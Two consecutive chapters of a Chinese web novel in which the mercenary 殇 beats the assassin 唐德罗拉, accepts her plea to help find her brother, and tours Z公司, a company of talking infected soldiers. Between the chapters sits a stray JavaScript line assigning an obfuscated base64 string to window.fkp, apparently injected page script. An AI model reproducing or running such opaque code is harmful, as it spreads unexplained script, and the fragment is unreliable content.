“爱尊如爱命,当属不屈者啊!我认可你的实力,孩子。虽有诸多的不完美,但依然可敬可尊。” 唐德罗拉这时回过神来,顿时间就被殇的战斗力与武德所折服。唐德罗拉有些艰难地起身,好不容易又一次挺直了腰板,不过她此时毫无继续战斗的欲望。唐德罗拉的表情有些失落,但她对这次战斗还是很满意的。虽然她拿不到高额的悬赏,但她也依然觉得这场战斗很值得。最起码证明了一件事:能打倒收尾人的殇,并不是旁人口中的阴险小人。 唐德罗拉抱起膀来,一脸不乐意地说: “你赢了。嗯......你赢了。” 殇放下手,很平和地对她说: “结果无论如何,但过程很精彩,这就足够了。” 唐德罗拉撅起嘴来,吐槽道: “不愧是连莉莲姐都中意的人,说话就跟那些野蛮又倔强的都市猎人不一样。那种风格......就好像师傅。不,应该是师傅的师傅。” 殇一听唐德罗拉这么说,好奇地问: “你刚刚说什么?你认识莉莲?等等......你那话是认真的?” 唐德罗拉并未回答殇的问题,她自顾自地走到一旁,拿起地上属于自己的两件兵器。再度拿起这两件兵器的时候,唐德罗拉全身都在颤抖。毋庸置疑,刚刚殇的攻击对她造成了不小的伤害。 唐德罗拉一脸不服输地对殇叫道: “记住我的名字,我叫唐德罗拉。今天在你这里失去的荣誉,我会有一天拿回来的。记住了!听到没有!殇。” 殇点点头,微笑着说: “期待与你的下次战斗,孩子。” 唐德罗拉露出不乐意的表情,又冲殇撅了噘嘴,还做出咬牙切齿的样子,最后她瞪了殇一眼,接着就有些狼狈地离开了。见到这般凶神恶煞且不服输的女子,这不禁让殇再次想起了薇莉莉。 一想到薇莉莉,殇就好奇薇莉莉她们现状如何,毕竟时间过去了这么久还没有消息,殇总有些担心。毕竟星北空在与他并肩作战时最大的愿望便是薇莉莉她们能够幸福,生来是这愿望,死前还是这愿望;殇也希望这份愿望能够实现。 打败唐德罗拉没过三个钟头,夜歌突然打来了电话,说是他的一位友人想见殇一面,希望殇能来。殇自然是没有拒绝,挂完电话就坐车去了夜歌那里。 一小段时间后,殇来到养生堂内。此时有三两位客人要回家处理事物,殇正巧与这三两位客人撞面。殇以为无事,就快步向内阁赶去。哪成想这一撞面不要紧,好巧不巧就正面碰见了唐德罗拉。对手相见,分外眼红。唐德罗拉和殇都在惊愕之余紧盯对方,就怕对方突然出手攻击自己。 唐德罗拉心里: “这......这,这家伙怎么来了?难道.....他是来追杀我的吗?不会吧!他那么强,我肯定打不过的。我也没太惹他不高兴不是吗?他能至于来追杀我吗?应该是路过恰巧碰面吧......应该吧......” 殇心里: “怎么事情就这么赶巧呢?刚分开没多久,又见面了。诶呀......她应该是不会再主动攻击我的吧,可她之前说要夺回她的尊严。嗯......也许她那话只是吹吹牛?不管了,要是避免不了战斗的话,那就再战一场吧。” 就在两人间的空气凝固之时,一旁一位慈眉善目的老妇笑了几声,顿时打破两人之间紧张的气氛。唐德罗拉看向老妇,她的表情瞬间就不那么惊愕与紧张了。殇敏锐的眼看出了端倪,殇猜测那老妇也许是唐德罗拉的亲人。 “罗拉呀,那个意气风发的帅小伙是谁呀?” 老妇问道。唐德罗拉急忙挤出笑容掩盖心中的不安与紧张,去用一种温柔的语气告诉老妇: “二姑奶,那是我的一个商业伙伴。他不是坏人,不用担心的。” 老妇笑了笑,说: “哦,那太好了。那你们两个可要好好合作,一起赚大钱呀。” 唐德罗拉点点头,答应道: “嗯。知道了,二姑奶。” 唐德罗拉转过头来,对殇使了个眼色,示意殇去一旁的茶房。殇看懂,点了点头,就挪步向一旁的茶房。唐德罗拉见殇明白自己的意思,也便放下心来。她简单安抚了下她二姑奶的情绪,把她二姑奶给哄好了之后,她转身走入那间茶房。 入了茶房,在见到殇的瞬间,之前战斗的回忆又浮现在唐德罗拉的脑中。她不由得紧张起来,猜测殇的想法,思索各种应对办法。殇见到她一脸紧张的样子,直接开门见山地问: “你怎么在这里?” 唐德罗拉一脸不乐意地说: “我还想问你呢!” 殇思索片刻,说: “那位老妇是你二姑妈。那么一切都说得通了。” 唐德罗拉好奇地问: “那你来是为了什么?” 殇解释道: “我是来找堂主处理事物。” 唐德罗拉叹了口气,她的表情变得自然了许多。她说: “害,我还以为你是来找我的呢。只是战斗一次,你肯定不至于来追杀我。看来我多虑了。” 殇笑了笑,说: “原来是场误会。” 唐德罗拉瞬间变脸,又是一副不乐意的样子。唐德罗拉强调道: “但即便这样,我依然会对你抱有敌意。可别以为三两句话和一点仁慈就能降服我,我可是比驴都倔的女人!那份失去的荣誉,我会夺回来的!一定!” 殇笑笑,说: “那期待与你的再次交手。” 唐德罗拉沉默了片刻。似乎是她想到了什么,她的表情自然了些许。唐德罗拉低下头,思考了片刻,又在心里犹豫了片刻。她突然抬起头看了一眼殇,又低头继续思索。殇见她这样,在一旁默默地注视。殇能猜到,她心里正憋着话呢。殇猜测她应该是有事相求而又碍于两人的对手关系而不敢直接开口。 过了一会,唐德罗拉开口说道: “听说莉莲姐认识你,而且还挺中意你这人。今天我见识到了,你的确是个很不错的人,目前看起来是这样。” 殇静静地听着。唐德罗拉继续说: “嗯......你是干什么工作的?都市猎人?冒险者?还是像我一样的杀手?” 殇摇摇头,说: “我只是个普通的雇佣兵,每样功夫会一点。” 唐德罗拉一脸惊讶的样子,她被这个答案给深深震撼到了。她一个不小心没控制住声音,大声惊呼道: “雇佣兵?!你认真的?” 殇点点头。唐德罗拉在惊愕之中迟迟没有回过神来,她认知中的世界在此刻发生了前所未有的改变。唐德罗拉回过神来后问道: “那你是什么级别的雇佣兵?是不是给了钱就处理委托?在乎不在乎与雇主之间的关系?” 这么多问题一起抛出,殇有些难以应付。殇急忙打断了她,并向她解释道: “停停停!我的雇佣兵等级也就一般的水平,给钱办事只要不伤天害理我就去办,雇主只要不是仇人就行。这下你明白了吗?” 唐德罗拉即答道: “明白了。” 殇借着这个话题,反问她: “你问这些,是不是有事想来求助于我?” 唐德罗拉一时语塞,同时两鬓微微发红,眼神开始乱飘;似乎是被猜出心中想法,让她一时间陷入尴尬又不知所措的境地。刹那过后,她开口解释道: “嗯。对,但那又怎样?这只是商业委托而已,就说你想不想接吧。” 殇耸耸肩,说: “好吧。我很想接这个委托,不过我最近很忙......” “别!哥。我们还可以再洽谈一小下,别那么早下结论呀。几个小时前的事就别放在心上了,这个忙......还恳请你来帮一下,求求了。” 唐德罗拉急忙转变态度说道。这突如其来的反转,正如殇预料中的那样。殇坏笑了一下,很快收敛起笑容,接着严肃说道: “开个玩笑,我最近一直有空,不过今天是个例外。委托的具体细节什么的,我们明天找地方见面再说。” 唐德罗拉两眼放光,仿佛看到了希望。唐德罗拉笑着说: “那太好了。有了你这帮手,这件事定能很轻松地解决。” 实则,她心里暗暗想道: “这就是欲擒故纵吗?我今天算是见识到了。这男人可真是‘阴险’啊,竟敢套路我!哎......为了弟弟,先忍一时风平浪静吧。这笔账我记下了!等着下回再与你交手的,我定会让你吃尽苦头!一定!” 之后,殇将联系方式告知于唐德罗拉,方便她以后能联系到自己。联系方式给完,殇就告别唐德罗拉,匆匆地去内阁找夜歌去了。望着殇离去时的背影,唐德罗拉的心里很不平静。她一方面记恨于殇,另一方面又羡慕于殇。回想起殇口中的武德二字,她的心里还有诸多疑问尚未解答。武德已在她心里有了片土地,不过那片土地还只是贫瘠的荒地。 她期待与殇的下一次交战,她心里暗暗窃喜着能认识到殇这个人。同时,她也渴望同莉莲一样与殇成为朋友。也许正是殇的这份武德,才在短时间内令她这个杀手折服。正所谓武道的根基:以武破其身,以德破其魂。以仁会天地,以礼待世人,以智断纠葛,以义行大道,以诚许诺言。 唐德罗拉: “这个家伙......他与其他的人不同,他的身上散发着前所未有的活力。似乎生活并未击垮他,好像是他打败了生活一样。那种力量、技巧、心灵......如英雄一般强大又具有魅力。不......也许他就是英雄。” “殇,期待与你的下次相会,但愿你能如英雄般协助我找回我的弟弟......都说你如王者一般强大,希望他们说的话句句是真。” 与此同时...... 殇来到内阁,见到了正写着书法的夜歌。殇没说话,静静地走向夜歌。夜歌见殇到来,不急不慢地写下最后一个撇,完成了这幅书法作品。这幅作品上写着“秋叶静美”四个大字,其创作者夜歌的书法水平很高,因而这幅作品可以堪称是精良中的精良。这作品虽很优秀,但夜歌并不太满意。 见夜歌完成了创作,殇开口说道: “夜歌,想不到你还有这文雅的爱好。” 夜歌很平淡地说: “独爱琴棋书画,每人都能如此。” 夜歌将毛笔、墨还有这幅作品收好,然后简单收拾了下书法桌。收拾完书法桌后,夜歌迈步走到殇面前,与殇交谈。在简单客套几句之后,夜歌就谈起了他友人的那一事。 夜歌: “殇,我的一位友人名叫阿曼达,他想见你一面。但在将你带到他面前之前,我得先告诉你他那边的情况,让你有个心理准备。不然我怕你去了那里,会出什么事端。那样对我们两方都不好。” 夜歌: “阿曼达,他是特殊感染者。” 殇瞪大的双眼,一脸惊愕的样子。 殇: “嗯?!!感染者!” 夜歌: “不要误会,殇。他是集疫病、核心、代码合三为一的新人类,是具备精神意志的、善良的大家伙。他与疫病共生且能通过意志来抑制体内的疫病的扩散,从而让自己不会感染其他的人。” 殇: “嗯......如果不伤人那还可以接受。” 夜歌: “正因这点,我才结交到了他这个朋友,而不是针锋相对。——阿曼达隶属于Z公司,一个由智慧型感染者构建起来的公司。” 殇: “感染者构建的公司?!这年代感染者都这么智能了吗?” 夜歌: “这都得归功于Z公司的核心人员:马塔库库·卡布女士的辛勤付出。” 殇: “马塔库库?那不是皇家研究员安吉拉的三妹吗?想不到那姑娘在杳无音讯了许久之后竟去做了那样的事......也好也好,起码这不会危害别人,还能妥善处理下感染者的问题。” 夜歌: “马塔库库她所研发的科技很独特,这项科技能让感染者说出话来。很不可思议不是吗?——归功于阿曼达提供的素材,马塔库库编辑并制作了感染者语言对照表,还做出了赛博式的翻译器。——再加上我们亲爱的大总统罗密欧先生制定的良规正则,这才让感染者有人之间有了交流的能力。” 听到这话,殇震惊了。 殇: “卧槽!这不可能吧!让感染者说话,不该是难如登天吗?难道说......她的智慧真的战胜了不可能?!厉害,实属厉害呀!” 夜歌: “我起初也是不信的,直到我亲眼见证了那一切。——马塔库库,属实是厉害呀!卡布家果真人才辈出,三姐妹都是出类拔萃的才子。” 殇有些迫不及待了,他对Z公司的期待已经达到顶峰。 殇: “我们什么时候出发?我已经迫不及待想一睹Z公司的风采了。” 夜歌: “下午我们就出发。但在出发前,你必须好好了解下Z公司,不然去了那里可能会出些不必要的事。” 殇: “行。那你继续介绍。” 夜歌: “除此之外,马塔库库和一众科研人员还攻克了诸多生物学上的难关,让感染者的智能化达到更深层次。不仅如此,马塔库库等科研人员所研发出的尖端科技让感染者恢复神识的同时还能恢复些许记忆;这项技术再与其他科技相辅相成,最后让感染者们能够重拾为人的感觉,如死而复生般的奇迹!” 殇: “太他妈厉害了!” 夜歌: “殇,记住一点。——到了Z公司后,切记不要出手攻击任何感染者。有些感染者身上没穿着西服或工作服,因为他们的身体就是那个样子的;但他们的的确确是有意识的,也是善良的。——我曾亲自去到过那里,那里的感染者没有任何危险性,个个都是心肠好的。” 殇: “那我的确得注意点,不然误杀个感染者可咋整。” 夜歌: “还有一点,Z公司与碧蓝世界有协议,Z公司所生产的某种工业品源源不断地在输送向碧蓝世界。我不知这是意味着什么,所以还请你多留意,也许谜底就藏在不经意间的某个刹那。” 殇: “嗯......那我的确得留意留意。” 夜歌: “我们下午五点出发。在那之前,在我这吃个午饭吧。” 殇: “可以。正好我也想尝尝你们这儿的伙食。” 夜歌看了看时间,发现现在正巧是十一点整。 夜歌: “走吧,我们一起。正好我也得去吃顿午饭。” 殇: “行。走吧,吃顿午饭去。” 说完,殇和夜歌一起去吃了顿午饭。午饭过后,他们开始消磨时间,等待下午五点钟的那一刻的到来。Z公司之旅,即将开始。由感染者所经营的公司,殇别提有多想见识到了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第六话:Z公司(上) 下午时分,夜歌带领殇来到巨星城的郊外,那是个布满废墟的地方。在废墟如林海般排列在这里,放眼望去皆是荒废与混乱,死寂弥漫的气息遍布这里的每一寸土地。生命独具的芬芳不再,骇人的寂静军团占领这片无人问津的土地,将毁灭的战旗高高升起;废墟的色彩将天空同化,似乎是萧条与灾荒蔓延到了天穹之中,是如疫病一样的蔓延...... 走在废墟之中的闯入者们,见到此番景象都不由得为之恐惧。他们身上的每一寸皮肤都被阴霾肆虐着,似乎是无数双隐形的手在皮肤上抓挠,仿佛要把他们拖入黑色的深渊;他们所吸入的每一口空气的阴冷的,着里面充满死亡与腐朽的气味,那味道令每一个吸入它的人都觉得心肺发寒。 这便是废墟的色彩,也是这世界独有的一道风景线。 无论是地平还是苍穹,是无人之境还是贫苦之乡,废墟从未退出过时代舞台,更没有淡出过人们的视线一刻。从大疫病爆发的那一刻开始,废墟就与这个世界共生。哪里有人,哪里有过人,只要人的足迹所及,废墟的影子一定伴随。这似乎是巧合,但更像是必然。 经过一段短暂的赶路,在废墟的深处,夜歌带领着殇找到了Z公司的一个非常隐藏入口。正巧在入口前,夜歌巧遇到他的友人阿曼达。朋友见面,彼此的眼神中不由得多了几分亲切。尽管阿曼达本身是感染者,但这不妨碍他与夜歌缔结友谊。不同于夜歌,殇见到阿曼达先是惊讶,而后触发了他的肌肉记忆,一记冲拳差点打出。所幸殇及时反应过来收了拳,不然这一拳打下去不知会惹出怎样的祸端。 阿曼达看了一眼殇,阿曼达的眼神瞬间犀利起来,他认出了殇的身份。但紧接着,阿曼达的眼神又回归自然,他并不想直言挑破殇的伪装。阿曼达故作不知晓的样子,与夜歌聊了起来。 阿曼达: “我的英雄夜歌,你怎会今日突然大驾光临?是有事来相求吗?若遇到了麻烦尽管告诉我,我会尽力帮你解决。” 夜歌: “感谢你的好意。不过我今天来不是寻求帮助的。” 夜歌转头看了殇一眼。 夜歌: “这是我的朋友殇,我今天带他来见你。——还记得我答应你的事吗?今日就兑现了。” 阿曼达: “原来如此,我知道了。——那么你就是殇?” 殇: “没错,在下正是。” 阿曼达: “如果我没猜错的话,敢问殿下本体可是那王殇之翼的本尊?” 殇: “你猜的真准!我还真就是。” 阿曼达笑了笑,他的眼神中多了几分对殇的信任。 阿曼达: “如此诚实与忠厚,这感觉准没错,就是殿下您本人啊。” 话音刚落,阿曼达刷的一下做出标准的行君礼(单膝下跪抱手低头的礼节),对殇致以最崇高的敬意。他庞大的身躯瞬间下压许多,他野蛮的体态瞬间变得优雅,这一行礼的姿势极度标准,甚至有些士兵都无法企及。 阿曼达诚恳地说: “参见殇殿下。” 殇一看这架势,急忙摆摆手,委婉地说: “诶!快点请起,初次见面不必行此大礼。” 阿曼达随即起身。 阿曼达: “谢殿下。” 殇: “不必这样。我现在又不完全是我自己,就称呼我大名就行。” 阿曼达: “明白,殿下。” 这时,夜歌向殇介绍起了下阿曼达。 夜歌: “殇,这个威压满满的高个子感染者就是我的友人,他就是阿曼达。” 殇: “你就是阿曼达啊,幸会。” 阿曼达: “过奖了,殿下。” 殇: “瞧你这健硕的身材,我猜你定是个感染者中的领袖吧。” 阿曼达: “猜得正是!——啊,才想起来。自我介绍一下,我是Z公司的管理者兼安保部部长阿曼达。欢迎我亲爱的客人光临Z公司!” 殇: “客气了。” 阿曼达: “请跟我来吧,殇。我带你进去领略一番Z公司的风采。” 殇: “好。” 与阿曼达交谈过后,阿曼达带领殇和夜歌穿过三扇铁门,坐上前往Z公司本部的电梯,一路下到了Z公司的大厅层。 在电梯下降的过程中,殇安耐不住心中的好奇,就问了阿曼达三个问题。 第一,为何阿曼达是集核心、疫病、代码三合一的新人类? 阿曼达给出的回答是: “原因很复杂,总归而来就是运气。我是一个很幸运的人,极低概率的特殊变异让我碰上了。——那时我本以为我会在死亡后变成僵尸、野兽,可谁知那疫病在杀死我前竟屈服于我的肉身,选择与我共生。我并未被疫病杀死,反而蒙受疫病的赐福,让我成了具备双重身份的特殊感染者。这算是因祸得福。” “我变成特殊感染者后,一直都在努力戒掉嗜血的毛病,可本能的驱使还是让我偶尔发狂。我不食人,我只会猎食感染者化兽或是林中的小动物。吞噬了许多之后,我的身躯变得庞大且富有力量。渐渐地,我就自然而然成了感染者中的领袖。无论我走到哪里,只要闻到我身上散发的特殊气味,再狂野的感染者也会屈服。” “后来,我在翻找人类尸体时得到了Emd核心装置,我将它塞入我的体内,勉强算是佩戴上了它。可真正让我与核心融合的,却是那些破碎后散发核心污染的核心残渣。我也不知道是何时,在核心污染的作用下,我逐渐掌握了核心的力量,同时体内自发出现了一个核心。那核心经我询问,才知道那并非正常的核心,而是一种独特的异变核心。至此,我成为了为数不多的感染者中的核心使者。再后来,我有幸与代码石碑进行接触;由于体内的异变核心,导致我可以同时掌握两种代码的力量。我只掌握了代码1和代码2。” 第二,为何阿曼达会来到Z公司。 阿曼达给出的回答是: “机缘巧合之下,缘分让我来到这里。——但总的来说,得感谢Z公司的成立人马塔库库小姐。是她善意接纳了我,让我离开原始人般的生活,回归秩序。虽然这里见不得光,是隐匿在黑暗中的暗所,但起码不完全封闭,我们还能与外界交流。她为我准备了在Z公司的家,为我安排了适合我的工作,还亲自指导我的工作。让我觉得最感动的是,身为上层阶级的人类的她,看我的眼神中竟没有丝毫鄙视,我看到了她对我们这些感染者的尊重。” “那份尊重我不曾在其他人眼中看到过。对于我们这些感染者来说,我们的注视就是猎杀的预警,人们只能拿刀剑来应对我们。不过她就是个例外,她不惧怕感染者,就连我这样体型巨大、凶神恶煞的夜不惧怕。我佩服她的勇气,更佩服她这宽广的胸怀。这世上有几人能像她一样善意对待我们?——直到现在,我已经将Z公司视为了我唯一的家,没有任何地方能取代Z公司在我心中的地位。” 第三,阿曼达怎么与夜歌认识的。 阿曼达给出的回答是: “那是一段说来话长的故事。——那时,我和夜歌在废墟里面碰了面,以一种猝不及防的方式。那时他在调查x晶体,而我正同样寻觅着x晶体的踪迹。碰面后我和他都静伫在原地,都在等待对方先一步出手。但等了好一会,我们谁也没出手,也没动弹个一下。直到我开口说了句话,这宁静才被打破。在夜歌知道了我通人性且不弑杀之后,便对我不抱有那么大的敌意。” “不知不觉,我和夜歌就在废墟里聊起了天。聊天让我们彼此之间的敌意与警惕被消除,还让我们缔结了友谊。我们畅谈了许久,都感觉遇到了知己一般,越聊越起劲。后来,我破格将夜歌带回了Z公司。也就是在那时,夜歌对我们的看法发生了天翻地覆的变化,尤其是在夜歌见到马塔库库小姐之后,那种颠覆感就好像把他的世界摇晃一番又倒转一番一样。——总的来说,遇见夜歌是我的一件幸事。之所以我称呼他为友人,原因就在于此。” 这时,夜歌在一旁补充道: “当时我没想到,我前一秒还在谋划应对他的方式,后一秒就跟他聊上了天,还成了友人。也许就是缘分。有人性的,不管是什么,只要不带着恶意而来,对于我来说就是朋友。” 殇拍拍手,称赞道: “你们这对朋友还挺不错的。这就是所谓真正的友谊啊!” 过了一会,殇他们就到了地方。 刚打开电梯门,映入眼帘的是那一只只西装革履的、面戴金属面具的感染者。令人惊诧的是,那些感染者正用着标准的普通话进行交流,他们的言语之中没有野性的踪迹,归来的人性色彩绽放在他们的一字一句。这惊呆了殇,殇是瞠目结舌。殇不由得惊呼道: “我嘞个去!想不到夜歌说的是真的。这里的感染者真会说话。” 殇的话语吸引到了大厅中感染者们的注意。殇他们刚走出电梯,一群感染者就围了上去。顿时殇肌肉记忆触发,身体先意识一步进入了战斗状态。所幸殇及时反应过来,一场不必要纠纷才得以在摇篮中被扼杀。感染者们围上来后,向殇这个陌生的外来者投来了好奇的目光。在那好奇的目光之中,隐约有着一丝本能之中的敌意。殇始终警惕着,他还是有些信不过感染者。 突然间,感染者们开始谈论起殇来。 “有新客人来诶,还是个帅气的年轻小伙。” “他来这里做什么?难道也是跟夜歌一样来交朋友的?” “他看起来好像不那么危险,我能嗅到他身上的善良气息。” “他也是跟马姐姐一样的人类耶!” “他也是EcL?但很特殊,似乎有专门的编号......” 听到感染者们谈论自己,殇不免有些诧异。就在这时,在感染者们深处冒出一人,那人推开阻挡她的感染者,径直走到了感染者群的前方。 她头戴暗紫色的假发,面带银色慈悲者面具,身着半赛博化的西装,胸前挂着名片、系着红色领带,着装特别讲究。她看起来就像活生生的人一样,一点也没有感染者的样子。若不是假发与面颊间夹缝中的一抹淡绿色将她出卖,一般还真看不出她是感染者。 聂茨(Z公司主管的秘书): “你好,尊贵的客人。我是Z公司主管的秘书聂茨,欢迎你来到本公司。” 殇: “你好。” 聂茨: “若有疑问,你可以来问我呦。我会帮你解答。” 殇: “行。” 聂茨说话非常温柔。她的话语虽由她身上的翻译器发出,但那话语中蕴含的真情无可否认。 阿曼达: “聂茨,我要带客人游览一番这里。” 聂茨: “真的吗?太好了!我愿意当向导。” 阿曼达: “若是能腾开手的话就来吧。” 聂茨: “嗯......走吧,我也不算太忙。” 在聂茨和阿曼达的带领下,殇开始游览Z公司,一睹这里的风采。 第一站,殇他们来到阿曼达任职的安保部。 Z公司的安保部内部空间设计的很大,一眼看过去就让人心里觉得宽敞。仔细看去,不仅是宽敞,处处还弄得有模有样的,每一处细节都经过打磨。这里看着让人感觉赏心悦目;不仅如此,这里的处处细节都体现了独属于Z公司的Z式风格。但对比起市面上其他的公司来说,这里还是逊色些许。 阿曼达: “这就是我工作的地方,殇。——安保部,负责管理公司治安,又负责应对随时可能出现的入侵者。” 殇: “入侵者?” 聂茨: “对的。我们这里时不时就会出现入侵者,处理入侵者的问题对于安保部来说超棘手的。” 阿曼达: “没错。——那些入侵者总会莫名其妙的出现。有时是误入,通常很容易就打发走;有时是特意来这里,那样就是来故意找茬的,非得是打他个一顿才行。有极个别的几个,要与我们死战到底。为了Z公司的存亡,我们不得不杀掉这样的入侵者。这样做有悖道德,但我们不会后悔。” 殇: “这样做也是无可奈何。” 聂茨: “安保部的成员们很辛苦的,每次公司内部出现入侵者都需要出动大量人员。而且,保安部的人员伤亡率是所有部门最高的!在医疗部的事物统计单上,绝大部分的伤员都是安保部的人。——安保部的各位真的很伟大、很辛苦。” 阿曼达: “过奖了,聂茨。——我们为了应对飘忽不定的世界局势,经由马塔库库和科技部的众多科研人员开发,我们拥有许多Z式兵种。这些兵种将我们身为感染者所具备的优势完全利用,用所谓等效替代的方法让变得强大,甚至丝毫不逊色于人类士兵。” 殇: “特殊兵种?能让我见识一下吗?” 阿曼达: “请随我来。” 阿曼达领着殇走进安保部内部,在Z公司军备士兵的活动区内见到了Z公司的自我防卫军。 感染者士兵们身着各式合金护甲,根据各自的优缺点所装备;体型庞大的感染者只在身体薄弱处装备,体型弱小且智能的感染者是全身装备。这些感染者看起来个个身怀绝技,且每位士兵都各有各的特点,没有两个完全一样的士兵。Z公司的标志赫然印在他合金装甲最显眼的地方,这象征他们效力于这里的荣誉。 见殇走了进来,他们齐刷刷地看向殇。他们向殇投来的目光里潜藏了浓浓的杀气,其目光还锐利如似一把把利剑,正向殇刺来,仿佛要将殇撕个粉碎。殇见这颇具威胁力的目光,不由得警惕起来。即便阿曼达说这里的感染者是友善,但本能告诉他并非如此。 就在空气凝固的刹那,战意在每个战士心中微微泛起涟漪的刹那,突然,阿曼达开口了。 阿曼达: “各位战士,这位是我们尊贵的客人。他今天来参观我们的Z公司,想见识一下我们Z公司的风采。战士们,可别冷漠相待啊。” 这下,每个战士的战意都消退了。一听是客人,感染者士兵们顿时收起冷漠,都显露出各自的热情来。虽然这些战士大多戴着面具,虽然不戴面具的战士面容狰狞可怖,但这依然无法掩盖他们心中的真情。殇在本能驱使下紧握的拳头松开了,他眼中的战意也随之消散。既然是朋友、是友善的个体,那么殇便不能伤害对方,即便他们之间曾是敌人。 狰狞但温柔的笑容,殇是第一次见到。 谁能想到,原本针锋相对水火不容的两种人,此刻竟能放下过去的恩怨,一方给予善意,一方接纳呢?只能说世事无常。 殇心里: “想不到我竟有与痛恨之物和解的一天。” 接下来,殇与这些感染者士兵好好互动了一下。在互动中,殇在每一个感染者士兵身上都看到了人的影子。那些影子很生动具体,各有各自的性格、脾气、说话方式、特长优点......殇甚至能脑补出他们在感染前的模样!那些影子是他们生前人格的体现,也可以说是他们生前的样子。也许,若使他们失去了身上的“特异点”,那么他们还能被社会所接纳。若这疫病本不存在,他们也许会在某个地方发光发亮或是平淡一生。 在互动过后殇才知道,感染者生前为人,死后异变若有神识也便是人。 互动过后,阿曼达向殇好好介绍了下Z公司独有的特殊兵种。 阿曼达: “除了这些市面上常见的兵种以外,我们Z公司还有颇具特色的新型兵种。” 殇: “新型兵种?” 阿曼达: “它们分别是:剥皮者、循声者、尸狼骑士。” 殇: “这名字听着挺酷的,具体如何?” 阿曼达: “首先跟你说说我们这最受欢迎的尸狼骑士吧。尸狼骑士其实并非是狼,而是在感染疫病后发生身体结构突变、形态似狼的一种感染者。他们本质上和我们一样,只是在走路和战斗上有极大的差距。” “先说下他们平时的样子。他们常以趴着的姿势移动,但可别小瞧了他们的移动速度。在短程约有一个走廊的距离,他们可是能以猎豹的速度逼近敌人的,那种移速就连短跑冠军都难以企及。这点在战斗时尤为明显。最先杀入敌人内部的,永远是尸狼骑士,因为他们跑得快,破阵速度还快,简直就是对群大哥。” “我们的骑士有个骑士团。现任的骑士长是桑塔斯。他自说自己以玛利喀斯为偶像,据说他的剑法就是仿照他的偶像所施展的。但具体他的偶像长什么样、剑法如何,这只有他自己知道。骑士团内部配备了精良的合金装备,几乎是做到了全员全副武装。” “所以每当公司出现入侵者时,尸狼骑士总能很好地处理掉入侵者,不过方式方法极其残忍。若不是我们身前为感染者经历过大风大浪,不然那种血腥至极的景象我们见了定会疯掉。若说公司内打起架来能打得最爽、最得劲的,还当属这些尸狼骑士。他们的进攻方法就是野性的肆意,就是野性的展现。” 殇: “听起来不错!有这样的骑士在,只要不是太高等级的入侵,都能让入侵者有来无回。像狼一般猎杀目标,定是个充满野性的挑战。” 阿曼达: “不过有一点可惜,公司内的骑士团规模还只是各大兵种的中间档。若这些骑士能多些,我们的实力定能保证Z公司不惧风雨。” 殇: “听你这话,我能猜到尸狼骑士到底有多稀少了。” 阿曼达: “再说说我们的狂战士剥皮者与刺客循声者吧。先说剥皮者。剥皮者是一种肌体发生特殊异变的感染者。他们的皮肤为血红色,其似被剥皮,故取名为剥皮者。但实际上他们是有皮肤的,而且经测试他们的皮肤坚硬度约等于正常人类战士的五倍,这是个令人惊叹的数字。不仅如此,他们的身材十分健硕且各个都拥有怪力,尤其是上肢;他们上肢的力量惊人,几拳打碎个水泥墙都不在话下。” “可惜一点,他们的肢体多半发生了难以想象的异变,多半情况下手部会变成利爪或是手刃,多数情况下是单手异变,少部分也有双手异变。这样的异变让剥皮者难以使用武器,但同时让他们的手部成为了最佳的兵器,算是有利有弊。秉持着扬长补短的准则,我们为剥皮者配备了精良的轻量化合金装备,让剥皮者既能保持狂野的战力又不失灵活的机动力。” “剥皮者的领袖是安保部部长也就是我。虽然我不是剥皮者的一员,但我在剥皮者群体中还是有较高的威严的。也许是我太过于高大强壮的缘故?” 殇: “我猜也许是的。” 阿曼达: “剥皮者在公司的战斗中担当主要突破手的职责。剥皮者凭借着一身健硕的肌肉与怪力再加上其迅猛又致命的攻击,剥皮者在正面迎接敌人攻击时总能占据主动位置。当公司出现入侵者的时候,剥皮者一出马总能吓跑一大半。要是与剥皮者硬碰硬,剥皮者总能将入侵者的头拧下来当球踢。不过剥皮者缺点还是有的。剥皮者块头有些大,脑子还有些笨,因此有些聪明的入侵者对付剥皮者丝毫不费力。但那些聪明人要是失误了,那就是另一回事了......” 殇突然联想到自己在无人区的遭遇。 殇: “这么厉害!可为何......哦。没事了。” 阿曼达: “最后介绍下我们的刺客循声者。循声者也是一种肌体发生特殊异变的感染者。他们的皮肤为惨白色,不具备视觉,但其他感官异常灵敏,尤其是听觉,因而故取名为循声者。循声者的肌体发生了特殊异变,这导致他们多数出现了多肢或手部严重异变,而且他们很瘦小,比起正常的感染者来说显得消瘦。因祸得福,这样的变异使他们更加擅长于短跑、爬行、暗杀。在绝大多数近距离遭遇战中,循声者总能以超越尸狼骑士1.3倍的速度逼近敌人,这是循声者最值得骄傲的地方。” “除此之外,循声者暗杀的技术也是一流。凭借着对声音与气味的灵敏感受,他们最远索敌距离高达惊人的276.3米。只要让他们听到目标的声音三次,他们隔着墙都能找到目标;只要让他们闻到目标的气味一次,相隔百米他们都能循着味道找来。那是极为恐怖的,因为目标压根不知道自己被盯上,接着就在疑惑与恐惧中死去了。秉持着扬长补短的准则,我们为循声者配备了轻量化刺客装备,让循声者的战损率降低且能保持暗杀高概率成功。” “循声者的领袖是名为卡伦·铆犽天真的循声者,其是循声者刺客团里为数不多生前为女性的感染者。卡伦在刚入Z公司的时候还有一头残缺的红发,在成为循声者后她那头红发在战斗训练中掉干净了。由于生前的某种执念,卡伦向马塔库库索要了一头红色假发,并时刻佩戴。据她所说,那头艳丽的红发是属于斯特迪罗家族的荣耀。” 殇: “她也是斯特迪罗家族的人吗?” 阿曼达: “你了解这个家族的事吗?” 殇: “有所耳闻。我之前还认识两个斯特迪罗家族的人。” 阿曼达: “原来如此。——哦!对了。既然跟你介绍了这么多,那么我顺带也向你介绍下我们这儿的特色装备吧。” 殇: “行。” 一段时间后,阿曼达领着殇来到了Z公司储存Z式装备的Alpha区域。在这里,殇见识到了大大小小的容器瓶,每个容器瓶中都存放着不同颜色的药剂。其中分别储存暗红色液体、叶绿色液体、紫红色液体的三种容器瓶上印着Z公司的标志,这标志预示着它们价值的非凡。 阿曼达拿起储存暗红色液体的容量瓶,郑重地向殇介绍道: “这就是我们配备给单兵作战的Z装备,狂化之血。” 